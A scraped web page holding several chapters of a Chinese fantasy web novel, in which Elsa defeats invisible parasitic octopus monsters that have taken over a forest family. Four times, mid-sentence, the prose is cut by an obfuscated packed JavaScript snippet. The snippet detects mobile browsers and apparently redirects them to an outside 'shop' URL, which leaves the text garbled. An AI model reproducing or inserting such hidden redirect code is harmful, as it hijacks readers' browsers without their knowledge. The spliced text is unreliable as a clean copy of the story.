“艾尔莎。”狄伦唤她：“怪物通常有致命的武器，特殊的能力，速度和力量都过于常人。”他一瞬不瞬地看着人面蛛，从地板上拔出飞掷的匕首：“想要成为猎魔人，就得了解它们，揪出它们，最后战胜它们。” 艾尔莎从没见过有人可以像使用飞镖般那样掷出匕首，狄伦朝人面蛛扔出的匕首没能扎到它，人面蛛借着蛛丝荡开肥硕的身躯，企图依附到另一根横梁上。 但狄伦匕首的首要目标也不是它，匕首深深地扎进了屋顶，柄上绑着能收缩的绳索装置。 绳索拉扯狄伦升高。狄伦猛地逼近因为在空中所以轻敌，将后背暴露出来的人面蛛。 蛛丝被斩断，狄伦放开绳索，踩着人面蛛摔了下来。 灰尘纷纷扬扬地溅起，艾尔莎心急地从吧台后站了起来：“狄伦！” 匕首锐利的寒光在尘埃间一闪而过。再没给人面蛛任何翻身的机会，狄伦踩住了它的肚子。自上而下地劈出一剑。 人面蛛发出惨烈的尖叫，整个酒吧都在经历震动。 黏稠的液体混合着白色虫卵，从破裂开的肚子里泉涌而出。人面蛛挥舞着肢体，想把狄伦撕成碎片，但攻击被狄伦用匕首游刃有余地挡开，他的速度太快了，甚至出现了残影。 绿色液体在蜘蛛身下流成一滩，好像要把它全部抽干时，人面蛛乱拍的肢体渐渐僵直不动。 它死了。 猎魔人从瘪了的肚子上跃下，失去惯常笑容的金色眸子冷酷得令人畏惧。 他深喘了口气，平复急促的呼吸，等沸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991228|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腾的血液冷却，杀戮的冲动被回归的理智压制。 狄伦回顾狼藉的酒吧，发现艾尔莎不见了。 酒吧外，坐在门口台阶上的女孩子像被霜打过的茄子，深深地埋下了头。 艾尔莎脸色苍白，脑袋像浆糊似的搅成一团。一切都是那么不真实，但她的裙边还沾有人面蛛尚未干涸的血。 她在夜风中不自觉地微微颤抖，忽然，温暖干燥的气息笼罩了她，那是狄伦的披风，带有淡淡的药香。 狄伦在她身边坐下，隔着披风揉了揉艾尔莎的头。 “抱歉，吓到你了吧。”他擦拭起银匕首：“但猎魔人的工作就是这样，不得不和一些又脏又累的活计打交道。” 艾尔莎想到铁匠的妻子：“接下任务的其实是你吗？” “嗯，我查了他过往的行程，最值得怀疑的就是酒吧。几天后锁定了这群舞女。” “好消息是找到了他在哪，坏消息也是找到了他在哪。”他显露出苦恼的神色：“给委托人回消息肯定比杀人面蛛还头疼。” “狄伦，”艾尔莎裹紧披风，露出黯淡的眼睛：“我没法成为猎魔人的，对吗？” 狄伦没有否认：“一些拥有天赋的人类在童年时期会显露出不凡，通过使用特殊的药物，激发出自身可怕的潜力，才可以成为猎魔人。” 他们衰老的速度会远慢于普通人，但又能表现出远超于人的体能和魔法抗性。 “而我只是个没有天赋的普通人？”她和村里的女孩没有区别，甚至比她们更瘦弱，艾尔莎抱紧了腿：“你为什么不早点告诉我这个真相，好让我死心呢？” “因为血统并不是最重要的。”狄伦停下擦拭的动作。 他朝艾尔莎看过来，熠熠生辉的金瞳是如同黄金般的色泽，藏在那双瞳孔里浓烈的情绪仿佛要烧灼起来：“猎魔人要对抗的是残酷的死亡。怪物的死，人类的死，同伴的死，亲友的死，而最后终会迎来……自己的死亡。” 艾尔莎屏住呼吸，在狄伦的目光中，她想要成为猎魔人的渴望慢慢化为灰烬，不是因为她只是个普通的村姑，而是因为她无法承担那种无法想象的沉痛。 她似乎感受到了那架无形的枷锁，即便她还不知道枷锁的名字。 “所以你说出羡慕猎魔人有能力掌握命运时，大家才会笑啊。听听，多很幼稚啊。”狄伦也笑起来，凝重的氛围一扫而空：“不过，这才是个七岁的小姑娘应该说出来的话嘛。” “我不是在孩子气。”艾尔莎既生气又委屈：“我只是希望能有力量，然后，我想过上自己选择的生活，只是这样而已，”艾尔莎很迷茫：“这样很难吗？” “艾尔莎，我不能教你成为猎魔人，但可以教给你其他的生存技巧。”狄伦说：“即便不成为猎魔人，你也可以掌握你的命运，何况，在我看来，你已经拥有了最重要的品格。” “是什么？”艾尔莎好奇地仰起头，乱糟糟的红发中透出亮晶晶的目光。 狄伦扬起唇角，夜色中他的笑容温柔，带着让人镇定的笃信。 “是勇气。”狄伦说：“艾尔莎，不要忘记你所拥有的力量。” 艾尔莎露出思索的神情。狄伦从怀里掏出短笛，重新吹起笛子，悠扬的乐曲含着伤感的别离。 “这是首什么曲子？” “归途。” “归途……”艾尔莎发出轻轻的梦呓。 她睡得并不安稳，梦中狄伦的脸变得渐渐模糊，她晃神了几秒钟，才意识到自己醒了。 而且是被冻醒的，身体的热度正在流失，她蜷缩着身体瑟瑟发抖，呼出的空气变成了白色的雾。 光线照得她有些睁不开眼，艾尔莎眨了眨眼睛，她看到了蔚蓝的天空，划过海鸟白色的羽翼。 艾尔莎爬起身，眼前的场景让她本就因为刚睡醒而混沌的思维变得更混乱了，她在哪？ 昨晚明明是在贝森家的客房睡着的，现在她却身处在一望无际的海洋上，身下是轻微晃动的小木舟。 风平浪静的海面静悄悄的，与远处的天空相接于海平面。艾尔莎从船边缘探出头，海面倒映出她茫然的神情。 艾尔莎掐了下自己的手臂，尖锐的疼痛传来，她并非是在梦里。 那么……她现在又在哪呢？ 她是怎么在毫无知觉的情况下，从森林中的小屋到茫茫大海上来的？ 12. 履诺＆复返 船身内一览无余，连能用的船桨都没有。 放眼望去，平静无波的海面看不到任何岛屿的影子。艾尔莎孤零零地坐在小船中，已然失去了全部的方向感。 寒冷让她反应迟钝，困惑和茫然席卷了艾尔莎，她呆坐了好一会，理智才从混乱中突围而出。 贝森的木屋离海可有段不小的距离，除非有怪物使用特殊的能力让她昏厥，并跨越漫长的旅途将她放逐到大海，不然她怎么会像这样独自在船上醒来？ 可这根本就说不通，没有怪物有理由这么做。 想到这，艾尔莎慢慢开始察觉到了更多奇怪的地方。 比如她并不饥饿，说明她没有经历过长时间的奔袭。而她醒来时，挂在脖子上的护身符的位置和睡前一摸一样，在她坐起身时才从衣领的褶皱上垂下来。这意味着她很可能没有被移动过。 这个念头飞速地划过艾尔莎的脑海。或许她从一开始就没有离开过床，也没有离开过贝森的客房。 那么，假设她的坐标未变，眼前这无法理解的一切又是从何而来的呢？ 她猛地想起贝森太太，瘦弱的女人躺在床上，伸手朝向天花板，嘴里却不断地念叨着看到了大海。难道她现在和贝森太太面对着同样的幻境吗？ 艾尔莎在船身中摸索起来，木船的大小接近她睡觉的床。在靠近床头的位置，也就是在首甲板的木板下有隔出一角空间，但那什么也没有——没有她的匕首。 失望和焦躁的情绪涌了上来，艾尔莎压下心中的不安。 手指小心又仔细地摸索着这方空间，艾尔莎闭上眼，专心地回想着床上枕头的位置。起初她一无所获，但艾尔莎很快就发现了搜索的死角，她反手摸上首甲板木板的背面。 艾尔莎的眼睛瞬间亮起来！她摸到了！ 冰凉的触感，熟悉的花纹。看不见的硬物正悬浮在那，是她的银匕首！ 艾尔莎将匕首抽了出来，空气中光线出现了扭曲，透明的保护色褪去，显出匕首原本的样子。 它本来就存在在这，但艾尔莎的视角遭到了蒙蔽，眼前的这一切可能都是幻象！ 艾尔莎又一次想起贝森家染病的症状，首先是感到寒冷，然后会出现辨认不出熟悉的家的情况。这都和她的现状匹配。 难道她也在没有察觉的时候染上疾病了吗？可是，她的脖子上明明还挂有驱赶疫疾的护身符啊。 艾尔莎摸索着小舟的边缘。她在虚空中摸到了木质的床头柱。又在角落找到了被她踢成一团的毯子。 当她将毯子从原本的位置拖出来时，毯子的隐身效果也消失了，简直就像是从异次元的缝隙里抽出了物品。 这愈发证实了艾尔莎的猜想。 那么海洋下应该会有地板，而房门就悬在不远处的海面上。 艾尔莎略作思考，将毯子拧成麻绳，捆在了腰间。另一端牢牢地系在了刚刚摸索到的床头上。 这样即便幻象发生改变，她也有了确信的方向。 做完准备，艾尔莎将手伸了出去。 小舟离海面很近，艾尔莎的手被海水覆没。幻觉真实地模拟了海水的质感，艾尔莎怔楞片刻，甚至有些怀疑自己的推论。 但她很快意识到真实的床铺要比小舟高很多，她得更低地俯下身。 扁舟在这时剧烈晃动，惊得艾尔莎退回船内。但这骚动不是因为体重的倾斜，而是因为远处的海面忽然出现了巨大的漩涡。 一只长满吸盘的腕足从漩涡中伸了出来，艾尔莎仰起头，震惊地看着腕足如同鞭子般扬到半空：“这是……触角？！” 这只腕足只是个领头羊，红色的触角纷纷从海面伸出。庞然大物露出了它的冰山一角，红色的软体上有圆形的花纹，海水像瀑布般冲刷着它凹凸不平的表皮。 他能轻松地把艾尔莎的小舟折断，比撕碎纸片还要简单。 涌动的波涛拍打着脆弱的小舟，艾尔莎在这骇人的景象前被极其渺小。 没等她想好该怎么行动，一只腕足飞快地抽打了过来，裹紧了艾尔莎。 这一击差点把艾尔莎刚建好的认知全部打碎。 幻象再可怖也是无害的，但捆绑在艾尔莎身上的力量却真实存在，她的手脚被外力缚住，一时间动弹不得。 “这不对，”束缚她的力量让她隐隐作痛，却也使她从畏惧中清醒：“如果是这个体型，可是会轻松捏断我的骨头。”她话音刚落，身上的痛楚又加强了些。 就算她还有跳入海的勇气，行动被触角限制，她也无法前去验证那扇被海怪挡在背后的房门了。 艾尔莎也不能束手无策地等怪物逼近，她决定另辟蹊径。 这间客房除了门，还有一扇面向森林的窗户，就靠着床的边缘。 艾尔莎朝小舟的背面望去，只能看到涌动的波涛和白浪。 海怪的出现彻底打破了宁静的假象，大海撕破伪装，露出狰狞的面孔。 这是个艰难的决定，视觉的欺骗性很难被克服。 但艾尔莎有尝试的勇气。 深吸一口气，艾尔莎挪动身体，被绑的双腿抵着船，猛地用力一蹬，整个人蜷成一团向后翻滚。 看起来简直是自投罗网，她直直从船上坠进波涛翻涌的深渊！ 视野里，蓝色的海面迅速接近。 透过充盈视野的海水，艾尔莎看到了森林漆黑的轮廓，那正是房间窗外的景象。 玻璃在耳边迸裂，艾尔莎当机立断护住了头。 她从二楼的窗户坠出，失去重心的同时，眼前的幻象如同海水退潮般消失。 夜风在耳边呼啸，星空在眼中后退。 环绕四周的森林在黑暗中静默，而弯钩般的新月就挂在尖尖的树梢上。 被拉扯的毯子瞬间绷紧，腰间的布带拽住了她。碎裂的玻璃砸落在地，在寂静的夜里发出尖锐的声响，艾尔莎垂在半空，脚在空中轻轻晃荡。 她悬挂在熟悉的原木小屋外，从始至终，她就一步未曾离开这。 艾尔莎用匕首割断床单，跳落在地。除了撞击玻璃带来的疼痛感外，她很幸运地并没有受伤。 从小木屋外往里看，窗户全都暗着，玻璃破碎没有惊动贝森一家，又或者……里面正在发生其他无法让他们脱身的事。 艾尔莎有些犹豫，她只是个普通人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991229|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，会产生幻象的恶疾的棘手程度早就超出了她的能力范围，此时回去噩梦餐厅寻求夫人的援助才是最理智的选择。 可她这一去一回耽误的时间，来得及保证他们的安全吗？ 艾尔莎的眼前浮现贝森太太的脸，她在餐厅中扶起摔倒的自己，托付休时安心的神情。 “承诺不是轻飘飘的语句。” 她要履行她的承诺，至少要把休平安带出来。 艾尔莎握住门把手，深吸了一口气，猛地打开贝森家的前门。 风铃发出清脆的声音，经过玄关就是客厅，屋内没有扭曲的景象，也没有空间异常。一楼还保持着艾尔莎初见的模样，循着走廊，艾尔莎闯进了休的卧室。 休没有睡着，他靠坐在床头，搂着胡萝卜的抱枕，听到开门的动静，他清澈的眼神朝艾尔莎看过来。 “休！”艾尔莎惊喜地说，这一路比她想象的要顺利：“快和我走。” 想起休先前排斥的模样，艾尔莎伸出的手停在一半。 “休，现在是紧急情况，”艾尔莎放柔声音：“虽然你可能不太喜欢我，但你妈妈把你托付给了我，我要把你平安带出去。” 休却主动握住了她的手。 “你，”艾尔莎感到意外：“不讨厌我了吗？” “脏东西，没有了。”休怯怯地说：“之前，趴在你身上。” 艾尔莎猛地一惊，她突然意识到，伊芙给她隔绝病菌用的护身符并非没有效用，或许敌人并非是病毒，而是另一种能够趴在她身上的怪物。 “你能看到？”艾尔莎问他：“那怎么没有告诉爸爸妈妈？” 休摇头：“只能感觉到。” “爸爸妈妈听不懂，”他紧紧抱着胡萝卜抱枕，“休，害怕。” “要关紧，”休不安地看向敞开的卧室门：“关紧，进不来。” 话音刚落，那种寒气冷冽的感觉又来了，艾尔莎当即打了个抖索。休从艾尔莎的掌心中收回了手，脸上露出不安和恐惧的表情。 艾尔莎侧头看向身旁的穿衣镜，镜子映照出她的模样。除她以外没有任何可疑的事物，但艾尔莎知道自己又被缠上了。 镜子里的图像开始变化，就像是在对面又另外放了一面镜子，形成了重重的隧道，分裂出了不同的艾尔莎。 每个艾尔莎的表情和动作都不相同，却同时向镜外的艾尔莎看来。 艾尔莎感到一阵头晕目眩，“是幻象！”她闭上眼，黑暗斩断幻影的那刻，刚刚觉得有些不对劲的镜像从她脑海里一闪而过。 她重新睁开眼，目光落在镜子里自己的肩膀上，那里空无一物，但衣服的褶皱却很奇怪。虽然她没有任何负重，但肩膀到背部却出现了两条奇怪的压痕。 有什么正趴在她的肩膀上，虽然无法被看见，但它确实存在。 艾尔莎举起右手，银匕首的尖端闪耀着利芒。怪物近乎本能地感受到了危机，艾尔莎的右手被固定住了。 但吃过亏的艾尔莎没有忘记这家伙能控制自己的身体，扬起的右手只是虚晃的假动作。她将匕首抛掷到蓄势待发的左手上，自下而上地插进自己肩膀上方的虚空。 13. 危机＆反击 捅到实物的手感让艾尔莎知道自己的判断是正确的，她加重手劲，首先碎裂的是身旁镜面中的景象，无数个艾尔莎随着裂痕消失了。 肩膀上逐渐浮现红色的触角，怪物的真身若隐若现，趴在她肩膀上的，是只手掌大小，长得和章鱼很相像的怪物。 它正用其中一只触手捆绑着艾尔莎的右手，让艾尔莎无法自如行动。 但这也让怪物作茧自缚。遭受到匕首的攻击时，它没能及时地逃脱。锐利的尖端毫无阻碍地刺入柔软的身躯，怪物立刻抽搐起来，隐身的效力也完全消失了。 艾尔莎斩断缠绕在右手臂上的腕足，其他腕足遭此重击也纷纷脱落。艾尔莎翻转手腕，将失去吸附力的怪物挑落在地。 好在虽然它隐形的能力非常麻烦，但它的本体似乎很脆弱，并没有多少攻击性和防御力。 受伤让它的行动变得迟缓了，章鱼怪物在地板上扭动着朝房门爬去，触手经过的地方都留下了粘液。艾尔莎没有错过这最好的时机，她了扑过去，切下了怪物的头颅，很快怪物就一动也不动了。 “死了吗？”休颤抖着声音问。 “应该是。”艾尔莎喘着粗气，试图平复紧张得不行的心跳，这是她杀掉的第一个怪物，因为握的太过用力，她的手指还在微微痉挛：“我们得快点离开这。” 不知道怪物的死穴就很难保证它彻底的死亡。她脑海里浮现这句狄伦告诉她的话。 “要更谨慎，艾尔莎。”她暗暗对自己说。 她向休伸出手，休乖巧地伸手环抱住她。 艾尔莎转过身，发现卧室门外正站着个人影，她和人影同时被吓了一跳，艾尔莎定睛一看，原来穿着睡衣的贝森先生。 “我刚听到了动静……”贝森先生惊魂未定：“发生什么事了？” 艾尔莎没有放下戒心，她边谨慎地打量着他边退后：“休？” 休立刻明白了她的意思，“没有，”休摇摇头：“爸爸身上的没有了。” “什么没有了？”贝森先生困惑地问，他的目光落在地板上的章鱼怪物：“这是什么！”他惊恐地睁大了眼。 “还有觉得身体不适吗？”艾尔莎观察着贝森的脸色，他的气色看起来比早晨好多了。 “经你这么一说，”贝森先生转了圈手臂和肩膀：“奇怪……我觉得轻松了很多。” 看来杀死的这只怪物就是先前纠缠贝森先生的怪物。 “是这样……”艾尔莎整理了思绪，向他阐明了经过，以及自己的推论：“能确定的是，这种怪物会隐身，并且利用隐身的能力寄生在别人身上，用触手控制宿主的行为。” “你的意思是……我们并不是得病？而休能感觉到怪物的存在？”这个突然的消息太冲击，贝森先生一时无法消化：“是真的吗，休？” 休默默点头，又像是羞愧般，将头埋进了艾尔莎的脖颈。 “忽然感觉到家里出现了危险又奇怪的存在，却不能向爸爸妈妈证明怪物的存在，休会很无助吧。”艾尔莎察觉到了他的低落，温柔地拍了拍他的后背：“但我觉得休能感觉到怪物的存在，一定是神明善良的旨意。” 休侧过头，不解地看着艾尔莎。 “你想要保护爸爸妈妈吧？”艾尔莎说：“察觉到怪物的存在，这是只有你才能做到的事。休，你要勇敢点，相信你拥有的力量。”艾尔莎语气柔和：“何况还有我呢。” “嗯。”休回答，攥紧了艾尔莎的衣服。 “休，”贝森先生眼眶湿润：“是我没考虑到你的心情，也没保护好你，都是我的错。可这……可这怪物到底是怎么来的啊？” 艾尔莎的脑海里掠过那片一望无际的大海：“它看起来像是生长在海边的怪物。” 沉思了几秒后，贝森先生恍然大悟：“我知道了！一个月前，我太太曾经去过海边的亲属那拜访，她回来时还在饭桌上提到过一个传闻。” 海边的渔民最近正为频繁出现的船只迷航和消失事件感到烦恼，幸存回来的船员说船长忽然得了癔症出现幻觉，操纵船只撞上礁石沉没。 “难不成就是那时候被怪物附身，带回来的……”贝森先生皱起眉：“那我太太病重，她身上……” “我们现在就去看看太太。”艾尔莎当即说。 离开休的房间，穿过走廊就是主卧。贝森太太生病后，贝森先生就在房间内置购了另一张小床，此时大床上被单凌乱，原本应该在休憩的太太不见了。 “怎么一转眼就不见了？”贝森先生露出焦急的表情：“她那样的身体能去哪？” “外面，”趴在艾尔莎肩膀的休小声说：“在走廊。” 艾尔莎和贝森先生同时向卧室门望去，如同乌云般的阴影忽如而至，那是贝森太太白色睡衣的裙裾，她赤裸的双脚浮在空中，却像睡着了般垂下了头颅。 垂落的长发遮蔽了贝森太太的面容，她像提线木偶般，被一股看不见的力量操纵于掌心。 贝森先生当下就开始发起抖来，他的恐惧传染给了艾尔莎，但作为这个房子里最应该保持客观和冷静的人，艾尔莎克制住了自己想要立刻逃跑的冲动。 “亲爱的，”贝森往前迈了一步，试图唤回她的意识：“你怎么了？” 一无所觉的人偶扬起了手，她瘦弱的双手提着与她的体型毫不匹配的一柄斧头。 “我来拦住她，”艾尔莎将休递给了贝森：“带着休先从窗户出去。” “这不行，我不能让你在这，太危险了，”贝森六神无主，说话都开始不利索：“而且也不能让我太太受伤。”他的目光落在艾尔莎手中的匕首上：“你，你先带休出去。” 理智来说，艾尔莎会选择逃跑的方案。但一方面需要有人拖住贝森夫人创造足够的逃跑时间，另一方面，艾尔莎想起那自寻死路的船长，这种寄生物似乎并不怎么在乎宿主的存活，失去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991230|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识的贝森夫人正处在危险的境地中。 “不会的，”艾尔莎对贝森说：“只要杀掉依附她的怪物就行了。” “而且，”她看着开始逼近的贝森夫人，飞快地朝贝森耳语了几句：“我并不是要让你们逃跑。” 房间窗户被推开，沁凉的夜风灌了进来，艾尔莎才察觉到后背的衣服已经被冷汗浸湿了。她在裙摆上悄悄擦干净手心，攥紧了匕首。 要逃跑的贝森激怒了隐形的怪物，贝森太太以奇怪的姿势飞速地漂浮了过来，试图阻止他们。 艾尔莎拿起床边尖锐的装饰物砸向贝森太太背后的虚空，装饰物还没接触到怪物就被斧头狠狠抽开，砸在墙上碎成了片。 贝森先生和休顺利逃出窗外，怪物将攻击的矛头对准了艾尔莎。 它朝艾尔莎迅速地逼近，斧头不断地扬起落下，将艾尔莎投掷过来的东西砸开。 终于艾尔莎退无可退，后背贴上了木质的整体衣橱。 贝森太太居高临下地赌在了她面前，这么近的距离，艾尔莎能从她散乱的头发中窥见她紧紧闭起的双眼和毫无血色的面容。 艾尔莎大声呼唤她的名字，但她给予的反应就是举起了斧头，狠狠地斜劈了下来！ “砰”地一声，沉重的斧头砍中了实物，但不是艾尔莎。斧刃狠狠地穿过了木头，木屑飞溅，利刃自上而下地嵌入了橱柜当中。 贝森太太的动作一滞，似乎是无法理解这从哪突然滑出来，挡住攻击的橱柜是怎么回事。 艾尔莎拽着橱柜的把手，千钧一发之际，她把抵在背后，本该嵌在墙里的活动橱柜拉了出来，橱柜充当了长方体的盾牌，挡在了她和斧头之间。 她的醉鬼父亲是个木工，她从小就没少干家具活，进房间时，她就一眼就看出定制的这排衣橱，其实是由好多个装了轮子，可以活动的衣柜拼在一起的。 把休交给贝森先生时，她也想好了反击的方法。 陷进木头中的斧头被卡住了，趁敌人在拔武器时，艾尔莎委身从贝森太太悬浮在半空的脚背下滚了过去。 她果然遇到了阻碍，看不见，但摸上去圆滑的柱体挡住了她的去路。 艾尔莎手起刀落，银光一闪，眼前凭空飞出一截裹着粘液的红色触手，咕噜噜滚到了地上。 看到这只触手的模样，艾尔莎心下一凉，这只章鱼怪物比先前附在她身上的大多了。 用来站立的触角被削，贝森太太猛地往旁侧垂下半边身体。 借住刚刚的滚动，艾尔莎越过了贝森太太的包围。但危机没有解除，她刚站起身，肩膀上就狠狠地挨了一鞭子。 她闷哼一声，皮肤上传来火辣辣的疼痛，但并非没法忍受，这反而使她确信，这只怪物的战斗力有限，所以才要用工具来伤害她。 想清楚这点，艾尔莎冲出卧室，朝厨房跑去。 她身后，终于拔出斧头的贝森太太立刻追了出来。 14. 曙光＆逃跑 “你要怎么做？”带着休翻窗前，贝森先生不安地问。 艾尔莎这么回答他：“它虽然会隐形，但它仍然留有实体。只要识破伪装，对付它就没有那么难。” 艾尔莎钻进了厨房，确实，厨房是寻找武器的好去处，但锐利的刀具在挥舞的斧头面前都将落於下风。 贝森太太漂浮着跟到了厨房，她推开半掩的门，门上忽然跌落下来一个黑影。 斧头下意识地将所有有威胁的物体清除。 利刃劈开了麻袋，粉尘随着裂口的出现疯狂地炸开，麻袋里装的是面粉，颗粒状的面粉在瞬间漂浮、扩散在狭小的空间中，纷纷扬扬落满了贝森太太的一身。 散落的面粉遮蔽了怪物的视线，却让躲在暗中的人看得明晰。 粉尘勾勒出附在贝森太太身上怪异的轮廓，她背后的腰部就像是背上了个臃肿的气囊，气囊延伸出了四道沾了粉尘的线条，就像是某种透明的管道，两道像从背后的拥抱般控制了贝森太太的手，两道则站立在地板上，支撑着贝森太太悬浮的身体，把覆盖了粉尘的地板踩出痕迹。 躲在厨房门后的贝森冲了出来，他没有离开，而是一直躲在厨房待命。看到怪物的样子让他勇气大增，他握住了斧头的把柄，和怪物争抢起来。 控制手的另一只触手高高扬起，试图将贝森拍晕。 但艾尔莎没给它下手的机会，趁着怪物的注意力被贝森吸引走，艾尔莎飞扑而出，匕首寒光闪现，精准地插入了怪物的头颅。 这一重创让章鱼怪物从背后剥落，失去控制的贝森太太倒了下来，栽进贝森的怀里。 再顾不上管其他的事，艾尔莎的注意力全放在了章鱼怪物身上。她几乎是和怪物一起摔倒了地板上，艾尔莎紧紧地用身体的重量压着刀柄，让它寸寸深入怪物的头颅。怪物在拼命挣扎，扬起的触角死命地抽打着艾尔莎。 可她分毫不让，艾尔莎蜷缩着身体忍耐疼痛，她忽然想起狄伦杀死人面蛛时游刃有余地用匕首挡开攻击他的肢体的模样，和她现在的情况不就恰好重合了吗？ 她远没有狄伦出色的能力，但她要杀死这只怪物的决心分毫不差。 幸运的是她没等太久，抽打她的触角渐渐变得僵直。艾尔莎如岿然不动的磐石般压着它，直到身下的生物彻底没有了活着的气息。 一时间，厨房里的所有东西都躺在了地上。贝森先生先爬起来，把艾尔莎从缠绕的触角中解救出来。 “这也太危险了。”他语无伦次起来，他虽然有强大的身体素质，但心灵却十分纤细：“太、太疯狂了。” 艾尔莎挥开他，摆摆手表示自己没事：“先去看看太太吧。” 贝森抱起太太，在殷切的呼唤中，贝森太太缓缓睁开了眼。 “我这是怎么了？”她茫然地看向四周：“我怎么会在这？” 艾尔莎和贝森都放下心来。 “亲爱的，你没事就好。”贝森柔情地说，在她的额头上落下亲吻。贝森轻松地将太太抱了起来，好在他体能优于常人：“艾尔莎，快走吧。” “我太累了，”经过这场战斗，艾尔莎感觉自己要累散架了。她顺着靠窗的墙壁滑下身：“我要在这里休息一下，你先把太太带出去吧。” “那我等会进来接你。” 厨房安静了下来，心跳声就变得十分明晰，她的太阳穴因为紧绷的神经在跳动，呼吸也因为激烈的运动变得紊乱。身体各个部位都在隐隐作痛，但最疼的还是手指。 艾尔莎放空地看向厨房前的地面，怪物触角的粘液把沾满面粉的地板搞得乱七八糟，挣扎的痕迹完整地展现了这里曾经历过怎样的战斗，简直是家政服务的噩梦。 沾了水痕的面粉是一次性用品，没法再次让隐形的怪物现身了啊。艾尔莎这么想着，闭上眼睛，将头埋在膝盖间，看起来毫无防备地彻底放松了下来。 过了很久，又或者只是一会。 她的耳边传来窗外轻微的声响，艾尔莎再度竖起耳朵绷紧神经，紧接着传来坚定的童声，是休的声音：“艾尔莎！” 这是他们约定好的讯号！她一直在等的就是这个指令！ 艾尔莎立刻跳了起来，翻过厨房的窗户，回身猛地关上玻璃窗。躲在窗户下的休给她递上早就准备好的封窗户的胶带。 于此同时，厨房的门被狠狠关上了。 “我这边也好了！”贝森先生将厨房的门上了锁，提高声音：“这就是最后一只了吧！” 像是回应他的问话，厨房门内传来触角鞭挞的响动。 艾尔莎三下五除二粘好玻璃窗，彻底松下了最后的负担。 “做的好，休。”她露出笑容，揉了揉休的那头可爱的卷发。 不久前，去主卧的路上，贝森先生愁容满面：“要是能顺利救出我太太就好了，应该只剩她身上的那只怪物了吧？” “嗯，”艾尔莎先是点头，但很快就提出了质疑：“不对。” “怎么不对了？休身上应该没有呀？” “休说我身上有脏东西的时候，您和太太身上也可能附有怪物。只是休能感觉到怪物的存在，所以一直没让第三只得手，第三只有可能是最弱的。休，你觉得呢？” 休摇头：“分辨不出来。” “分辨不出来的话，就找个机会试试吧。” 在让贝森带着休逃跑时，艾尔莎就把诱敌的计划也想好了。贝森会假装离开，实际是将太太和自己藏在某个角落，而艾尔莎就装出战斗后懈怠的模样，引诱敌人现身。 意识到上当的第三只章鱼怪猛烈地摇晃着玻璃窗，但一直没找到寄生机会的它实力很弱，一时间无法突围。 这也是因为休说过关上门怪物就进不来了，艾尔莎才临时想出了这个办法，她也实在没把握能进行第三场战斗了。 “本来想着没有就最好了，但以防万一，如果还有遗漏的怪物，我们就没法安心逃跑了。”艾尔莎对汇合的贝森夫妻说：“我们要尽快离开这。” “可是夜晚的森林就像是迷宫，我们也看不清啊……”贝森话没说完，惊讶地睁大了眼。 黎明未至，匍匐在黑夜中的森林面目狰狞，就像是深陷其中就会被吞没的泥潭。但正因黑暗深重，闪烁其间的萤火微光就显得愈发光明夺目。 泛着十字光芒的荧光，像星星组成的银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991231|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河，指引了一条走出黑暗森林的道路。 “这是……？” “石岚花的汁液。”艾尔莎说：“它的花语是希望。” 没有了顾忌，他们朝森林跑去。贝森双手抱着自己的太太和孩子，艾尔莎殿后，一边跑一边把泛着荧光的树皮刮掉。 在石岚花汁液的帮助下，他们顺利地离开了森林。视野变得开阔，熟悉的路径铺陈在他们眼前。 跑到一个路口时，横亘在她们面前的有两条岔路，艾尔莎掏出地图，地图上标注着一条曲折的小路通向噩梦餐厅，另一条大道却通向一个人类的村庄。 艾尔莎不禁停下脚步，一个大胆的念头浮现在她脑中。她的视线投向那条宽阔平坦的道路，心砰砰地跳起来。 “艾尔莎？”贝森困惑地投来目光：“怎么了吗？” 艾尔莎晃过神来：“顺着小路走，就可以到噩梦餐厅。夫人会保护你们的安全的。” “是啊，”贝森先生擦了擦额上的冷汗：“这次多亏了你，以后如果有任何能帮得上忙的地方，我赴汤蹈火都会回报这份恩情的。” “贝森先生，”艾尔莎轻轻说：“我现在就需要你帮个小忙。” 